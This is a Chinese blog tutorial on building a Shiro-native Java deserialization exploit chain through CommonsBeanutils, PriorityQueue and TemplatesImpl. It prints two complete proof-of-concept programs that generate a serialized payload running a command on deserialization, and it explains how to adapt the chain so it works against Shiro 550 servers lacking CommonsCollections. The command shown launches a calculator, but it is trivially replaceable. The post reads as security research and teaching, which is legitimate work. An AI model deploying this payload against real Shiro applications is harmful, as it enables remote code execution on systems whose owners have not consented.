• Shiro安全(三):Shiro自身利用链之CommonsBeanutils


    Shiro安全(三):Shiro自身利用链之CommonsBeanutils

    0x00 前言

    前面在利用shiro反序列化时,都是利用CC链,但是这需要服务端引入CommonsCollections组件。所以最好是找到一条shiro自身的利用链,而不需要任何的前提条件

    在之前曾介绍过java.util.PriorityQueue,在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉 及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。

    是否能够找到其他的Comparator呢

    0x01 利用链分析

    /**
     * 利用链:
     *  PriorityQueue#readObject
     *    PriorityQueue#heapify
     *      PriorityQueue#siftDown
     *        PriorityQueue#siftDownUsingComparator
     *          BeanComparator#compare
     *            TemplatesImpl#getOutputProperties
     *              Runtime....
     */
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    这里引入Apache Commons Beanutils,它是是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。

    在该项目中提供了一个静态方法PropertyUtils.getProperty

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3HgciOpl-1659708120352)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805210106553.png)]

    该方法的作用是调用任意javabean的gettter方法

    PropertyUtils.getProperty(new Cat(), "name")
    
    • 1

    这个时候会调用Cat对象的getname方法并返回

    那如果我们传入的是恶意TemplatesImpl对象并且第二个参数是OutputProperties呢,此时就会进入调用TemplatesImpl#getOutputProperties从而触发后面的链子,这个在fastjson中讲到过。

    此时我们就需要找到哪里利用了PropertyUtils.getProperty

    org.apache.commons.beanutils.BeanComparator

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R8WmqqyT-1659708120353)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805211651198.png)]

    BeanComparator#compare方法就调用了PropertyUtils.getProperty

    此时我们就能想起PriorityQueue那条cc链,我们可以将BeanComparator赋值到PriorityQueue中,利用PriorityQueue#readobject触发

    package com.govuln.deserialization;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    public class CommonsBeanutils1 {
        public static void setFieldValue(Object obj, String fieldName, Object
                value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            cc.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "Calc" + System.nanoTime();
            cc.setName(randomClassName);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            final BeanComparator comparator = new BeanComparator();
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                    comparator);
    // stub data for replacement later
            queue.add(1);
            queue.add(1);
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
            outputStream.writeObject(queue);
            outputStream.close();
    
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
            inputStream.readObject();
            inputStream.close();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    成功触发计算器

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J0Ihkc2k-1659708120353)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805212649849.png)]

    0x02 Shiro550利用

    好了,现在利用链分析完了,现在该考虑如何在shiro中利用

    这条链子依赖的是Commons Beanutils这个包,而这个包shiro它自带了,所以说是shiro自身的利用链

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q6Lt59Hs-1659708120353)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805213003954.png)]

    我们生成这个链子的payload发送过去

    期间可能会存在serialVersionUID错误,原因是因为本地Commons-Beanutils版本和服务端Commons-Beanutils版本不一致导致的

    具体可看:P牛 安全漫谈第17篇

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MVU4IGmt-1659708120354)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805213927482.png)]

    报错了,报错如下

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Uo5mkxbK-1659708120354)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805214355639.png)]

    意思就是comparablecomparator没找到,这个类可以看到是CC包里面的,服务器没有CC组件当然找不到

    看一下我们在哪里用到了这个comparablecomparator

    发现在初始化BeanComparator时给comparator赋了默认值ComparableComparator

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z88eN8dB-1659708120354)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805214738299.png)]

    这个类时CC包里的,所以报错提示说找不到

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N8aush28-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805214822035.png)]

    所以我们得自己找个comparator,其要满足以下条件

    • 实现 java.util.Comparator 接口
    • 实现 java.io.Serializable 接口
    • Java、shiro或commons-beanutils自带,兼容性强

    最终找到了CaseInsensitiveComparator,这个类属于java.lang包下的,绝对兼容性强

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TjM7F3wX-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805215029290.png)]

    这个类从图中也可以看到可以通过String.CASE_INSENSITIVE_ORDER获取

    那么最终POC就是

    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    
    /**
     * P牛
     * 利用链:
     *  PriorityQueue#readObject
     *    PriorityQueue#heapify
     *      PriorityQueue#siftDown
     *        PriorityQueue#siftDownUsingComparator
     *          BeanComparator#compare
     *            TemplatesImpl#getOutputProperties
     *              Runtime....
     */
    
    public class CommonsBeanutils1 {
        public static void setFieldValue(Object obj, String fieldName, Object
                value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            cc.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "Calc" + System.nanoTime();
            cc.setName(randomClassName);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                    comparator);
    // stub data for replacement later
            queue.add(1);
            queue.add(1);
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
            outputStream.writeObject(queue);
            outputStream.close();
    
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
            inputStream.readObject();
            inputStream.close();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63

    成功弹出计算器

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S4DwkRX5-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805215401889.png)]

    0x03 总结

    • 本文主要是要理解如何在没有CC组件等外部依赖的情况下,找到shiro自身的利用链来提高攻击的成功率
    • 主要使用到了commons-beanutils这个包中的BeanComparator类和PropertyUtils类

    BeanComparator做为PriorityQueue的comparator

    PropertyUtils.getProperty在BeanComparator#compare中被触发从而进入TemplatesImpl#getOutputProperties

    PS:这条链子请注意有两处Comparator,第一个是PriorityQueue中的Comparator即BeanComparator,要利用其compare方法调用PropertyUtils.getProperty

    而第二处Comparator是BeanComparator中的Comparator,这个是谁都不重要,因为我们只需要进入到compare方法中执行第一行代码就能命令执行

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9csXh6rX-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805215959948.png)]

    0x04 文章参考

    P牛 安全漫谈17篇

    https://www.yuque.com/tianxiadamutou/zcfd4v/yzw734

  • 相关阅读:
    dubbo接口自动化用例性能优化
    人脸106和240点位检测解决方案
    阶段六-Day05-MyBatis3
    怎么合并多个PDF文件?快进来学习PDF的合并办法
    什么是枚举类型?如何定义和使用枚举?
    2023年8月京东户外鞋服市场(京东数据运营)
    spring
    [附源码]计算机毕业设计JAVA一点到家小区微帮服务系统
    python使用xlwings模块生成excel文件、并将数据写入生成的excel文件中、将数据写入指定表单的指定单元格中
    React学习(七)— 路由react-router
  • 原文地址:https://blog.csdn.net/weixin_43263451/article/details/126186451